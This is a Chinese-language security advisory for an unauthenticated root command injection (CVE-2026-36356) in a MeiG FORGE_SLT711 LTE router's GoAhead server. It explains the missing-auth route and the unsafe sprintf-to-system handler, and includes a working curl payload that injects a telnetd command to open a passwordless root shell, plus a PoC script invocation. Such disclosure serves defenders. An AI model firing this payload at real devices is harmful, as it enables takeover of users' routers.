
CVE-2026-36356: MeiG Smart FORGE_SLT711 GoAhead - 未授权操作系统命令注入(以 root 权限实现远程代码执行)
/action/SetRemoteAccessCfg)MeiG Smart FORGE_SLT711 4G LTE CPE 设备附带的 GoAhead Web 服务器暴露了一个未认证的 HTTP 端点 /action/SetRemoteAccessCfg,该端点将用户可控的 JSON 输入直接拼接到 shell 命令中,且未进行任何过滤。单个未认证的 POST 请求即可以 root 身份执行任意命令。
存在两个独立的根本原因:一是缺少身份验证路由条目,二是处理程序中的不安全 sprintf() → system() 构造。
MDM9607.LE.1.0-00110-STD.PROD-1(调制解调器固件 BC-MGST711H_1.1.1_EQ101)/usr/bin/goahead)漏洞代码位于 MeiG 的自定义 action 处理器中,而非上游 GoAhead。该产品线的其他固件版本可能也会受到影响;这一点尚未经过独立验证。
| 设备 | Ortel 4G LTE CPE(OEM:MeiG FORGE_SLT711) |
| SoC | Qualcomm MDM9607, ARMv7 Cortex-A7 |
| 内核 | Linux 3.18.48 |
| 固件 | MDM9607.LE.1.0-00110-STD.PROD-1 |
| 日期 | 2026-02-21 |
GoAhead 路由配置文件 /var/www/route.txt 使用 auth=basic 列出了已认证的路由(第 64–150 行)。/action/SetRemoteAccessCfg 不在该列表中。路由会落入第 156 行的兜底规则:
route uri=/action handler=action
该兜底规则没有 auth=basic,因此任何 HTTP 客户端都可以在无需凭据的情况下调用 /action/SetRemoteAccessCfg。
/usr/bin/goahead 中偏移 0x0003c6d8 处的处理器反编译结果如下:
char password_buf[64]; // 0x40 bytes on stack
char command_buf[256]; // 0x100 bytes on stack
websGetJsonItemValue(json, "password", STRING, password_buf, 0x40);
sprintf(command_buf, "echo root:\"%s\"|chpasswd", password_buf);
system(command_buf);
password 字段被插入到双引号内。$(...) 替换和 `...` 反引号会在双引号内展开,因此攻击者可以控制 shell 命令。由于 GoAhead 进程以 root 身份运行,system() 以 uid=0 执行命令。没有任何输入验证、转义或字符白名单。
curl -s -X POST http://192.168.1.1/action/SetRemoteAccessCfg \
-H "Content-Type: application/json" \
-d '{"password":"$(telnetd -l /bin/sh -p 2323 &)"}'
# Reachable via: telnet 192.168.1.1 2323 (root shell, no password)

poc_rce.py(随本公告一同发布):
python3 poc_rce.py --ip 192.168.1.1 --cmd 'id > /tmp/out'
该利用方式是盲注(blind)——命令输出不会包含在 HTTP 响应中。
password 缓冲区:64 字节